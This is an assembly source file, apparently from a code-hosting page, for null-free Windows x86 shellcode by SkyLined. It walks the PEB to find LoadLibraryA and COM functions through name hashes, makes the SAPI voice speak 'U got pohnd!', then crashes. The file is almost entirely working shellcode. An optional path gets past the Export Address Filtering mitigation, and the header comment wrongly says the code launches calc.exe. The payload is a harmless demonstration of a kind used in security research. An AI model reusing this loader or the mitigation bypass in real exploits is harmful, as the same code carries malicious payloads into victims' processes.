151 lines
8.7 KiB
NASM
151 lines
8.7 KiB
NASM
; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
|
; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/
|
|
; All rights reserved. See COPYRIGHT.txt for details.
|
|
BITS 32
|
|
; Windows x86 null-free shellcode that executes calc.exe.
|
|
; Works in any application for Windows 5.0-7.0 all service packs.
|
|
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).
|
|
; This version uses 16-bit hashes.
|
|
|
|
%include 'w32-speaking-shellcode-hash-list.asm'
|
|
|
|
%define B2W(b1,b2) (((b2) << 8) + (b1))
|
|
%define W2DW(w1,w2) (((w2) << 16) + (w1))
|
|
%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))
|
|
|
|
%ifdef STACK_ALIGN
|
|
AND SP, 0xFFFC
|
|
%endif
|
|
find_hash: ; Find ntdll's InInitOrder list of modules:
|
|
XOR ESI, ESI ; ESI = 0
|
|
MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30])
|
|
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
|
|
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module)
|
|
|
|
%ifdef DEFEAT_EAF
|
|
; The first loaded module is ntdll on x86 systems and ntdll32 on x64 systems. Both modules have this code:
|
|
; ntdll32!RtlGetCurrentPeb (<no parameter info>)
|
|
; 64a118000000 mov eax,dword ptr fs:[00000018h]
|
|
; 8b4030 mov eax,dword ptr [eax+30h]
|
|
; c3 ret
|
|
MOV EDX, [ESI + 0x08] ; EDX = InInitOrder[X].base_address == module
|
|
MOVZX EBP, WORD [EDX + 0x3C] ; EBX = module->pe_header_offset
|
|
ADD EDX, [EDX + EBP + 0x2C] ; EDX = module + module.pe_header->code_offset == module code
|
|
MOV DH, 0xF ; The EAF breakpoints are in tables that are at the start of ntdll,
|
|
; so we can avoid them easily...
|
|
scan_for_memory_reader:
|
|
INC EDX
|
|
CMP DWORD [EDX], 0xC330408B ; EDX => MOV EAX, [EAX+30], RET ?
|
|
JNE scan_for_memory_reader
|
|
PUSH EDX ; Stack = &(defeat eaf)
|
|
%endif
|
|
PUSH ESI ; Stack = InInitOrder[0], [&(defeat eaf)]
|
|
MOV SI, hash_kernel32_LoadLibraryA
|
|
|
|
next_module: ; Get the baseaddress of the current module and find the next module:
|
|
POP EDI ; EDI = InInitOrder[X] | Stack = [&(defeat eaf), ] "ole32\0\0\0"
|
|
MOV EBP, [EDI + 0x08] ; EBP = InInitOrder[X].base_address
|
|
PUSH DWORD [EDI] ; Stack = InInitOrder[X].flink == InInitOrder[X+1], [&(defeat eaf), ] "ole32\0\0\0"
|
|
get_proc_address_loop: ; Find the PE header and export and names tables of the module:
|
|
MOV EBX, [EBP + 0x3C] ; EBX = &(PE header)
|
|
MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table)
|
|
ADD EBX, EBP ; EBX = &(export table)
|
|
MOV ECX, [EBX + 0x18] ; ECX = number of name pointers
|
|
JCXZ next_module ; No name pointers? Next module.
|
|
next_function_loop: ; Get the next function name for hashing:
|
|
MOV EDI, [EBX + 0x20] ; EDI = offset(names table)
|
|
ADD EDI, EBP ; EDI = &(names table)
|
|
MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name)
|
|
ADD EDI, EBP ; EDI = &(function name)
|
|
XOR EAX, EAX ; EAX = 0
|
|
CDQ ; EDX = 0
|
|
hash_loop: ; Hash the function name and compare with requested hash
|
|
XOR DL, [EDI]
|
|
ROR DX, BYTE hash_ror_value
|
|
SCASB
|
|
JNE hash_loop
|
|
DEC ECX
|
|
CMP DX, SI ; Is this the hash we're looking for?
|
|
JE found_function ;
|
|
JCXZ next_module ; Not the right hash and no functions left in module? Next module
|
|
JMP next_function_loop ; Not the right hash and functions left in module? Next function
|
|
found_function:
|
|
; Found the right hash: get the address of the function:
|
|
MOV ESI, [EBX + 0x24] ; ESI = offset ordinals table
|
|
ADD ESI, EBP ; ESI = &oridinals table
|
|
MOVZX ESI, WORD [ESI + 2 * ECX] ; ESI = ordinal number of function
|
|
%ifdef DEFEAT_EAF
|
|
LEA EAX, [EBX + 0x1C - 0x30] ; EAX = &offset address table - MEMORY_READER_OFFSET
|
|
CALL [ESP + 4] ; call defeat eaf: EAX = [EAX + 0x30] == [&offset address table] == offset address table
|
|
%else
|
|
MOV EAX, [EBX + 0x1C] ; EDI = offset address table
|
|
%endif
|
|
ADD EAX, EBP ; EAX = &address table
|
|
MOV EDI, [EAX + 4 * ESI] ; EDI = offset function
|
|
ADD EDI, EBP ; EDI = &(function)
|
|
XOR ESI, ESI ; ESI = 0
|
|
CMP DX, hash_ole32_CoInitialize ;
|
|
JE ole32_CoInitialize ;
|
|
CMP DX, hash_ole32_CoCreateInstance
|
|
JE ole32_CoCreateInstance ;
|
|
kernel32_LoadLibrary:
|
|
PUSH BYTE '2' ; Stack = "2\0\0\0", InInitOrder[X] [, &(defeat eaf)]
|
|
PUSH B2DW('o', 'l', 'e', '3') ; Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]
|
|
PUSH ESP ; Stack = &("ole32"), "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]
|
|
CALL EDI ; LoadLibraryA(&("ole32")) | Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]
|
|
XCHG EAX, EBP ; EBP = &(ole32.dll)
|
|
%ifdef DEFEAT_EAF
|
|
POP EAX ; Stack = "2\0\0\0", InInitOrder[X], &(defeat eaf)]
|
|
POP EAX ; Stack = InInitOrder[X], &(defeat eaf)
|
|
%endif
|
|
MOV SI, hash_ole32_CoInitialize ;
|
|
JMP get_proc_address_loop
|
|
|
|
ole32_CoInitialize:
|
|
PUSH ESI ; Stack = 0, InInitOrder[X] [, &(defeat eaf)]
|
|
CALL EDI ; CoInitialize(NULL), Stack = InInitOrder[X] [, &(defeat eaf)]
|
|
MOV SI, hash_ole32_CoCreateInstance ;
|
|
JMP get_proc_address_loop
|
|
|
|
ole32_CoCreateInstance:
|
|
PUSH 0xd422046e
|
|
PUSH 0x99efeca1
|
|
PUSH 0x499272b9
|
|
PUSH 0x6c44df74 ; Stack = IID_ISpVoice, ....
|
|
MOV EAX, ESP ; EAX = &(IID_ISpVoice)
|
|
PUSH 0x9673794f
|
|
PUSH 0xc001e39e
|
|
DEC DWORD [ESP+2]
|
|
PUSH 0x11d23391
|
|
PUSH 0x96749377 ; Stack = CLSID_SpVoice, IID_ISpVoice, ....
|
|
MOV EBX, ESP ; EBX = &(CLSID_SpVoice), ...
|
|
PUSH ESI ; Stack = voice, CLSID_SpVoice, IID_ISpVoice, ....
|
|
PUSH ESP ; Stack = &(voice), voice, CLSID_SpVoice, IID_ISpVoice, ....
|
|
PUSH EAX ; Stack = &(IID_ISpVoice), &(voice), voice, CLSID_SpVoice, IID_ISpVoice, ....
|
|
PUSH BYTE 0x17 ; Stack = CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....
|
|
PUSH ESI ; Stack = NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....
|
|
PUSH EBX ; Stack = &(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....
|
|
CALL EDI ; CoCreateInstance(&(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &voice) | Stack = voice, ...
|
|
POP EBX ; EBX = voice | Stack = ...
|
|
PUSH B2DW('o', 'g', ' ', 'U') ; Stack = "og U", ...
|
|
PUSH B2DW('o', 'p', ' ', 't') ; Stack = "op tog U", ...
|
|
PUSH B2DW('!', 'd', 'n', 'h') ; Stack = "!dnhop tog U", ...
|
|
XCHG EAX, ESI ; EAX = 0
|
|
MOV ESI, ESP ; ESI = &("!dnhop tog U")
|
|
PUSH EAX ; Stack = 0, "!dnhop tog U", ...
|
|
unicode_loop:
|
|
LODSB ; read: "!dnhop tog U"
|
|
PUSH AX ; write: Stack = u"U got pohnd!", 0, "!dnhop tog U", ...
|
|
CMP AL, 'U' ; EAX == 0? (WCHAR == '\0'?)
|
|
JNE unicode_loop
|
|
MOV ECX, ESP ; ECX = &(u"U got pohnd!\0")
|
|
XOR EAX, EAX ; EAX = 0
|
|
PUSH EAX ; Stack = 0, ...
|
|
PUSH EAX ; Stack = 0, 0, ...
|
|
PUSH ECX ; Stack = &(u"U got pohnd!\0"), 0, 0, ...
|
|
PUSH EBX ; Stack = voice, &(u"U got pohnd!\0"), 0, 0, ...
|
|
MOV EDX, [EBX] ; EDX = voice->vftable
|
|
MOV ECX, [EDX+0x50] ; ECX = voice->vftable->Speak
|
|
CALL ECX ; SpVoice::Speak(voice, &(u"U got pohnd!\0"), 0, 0) | Stack = ...
|
|
INT3 ; Crash
|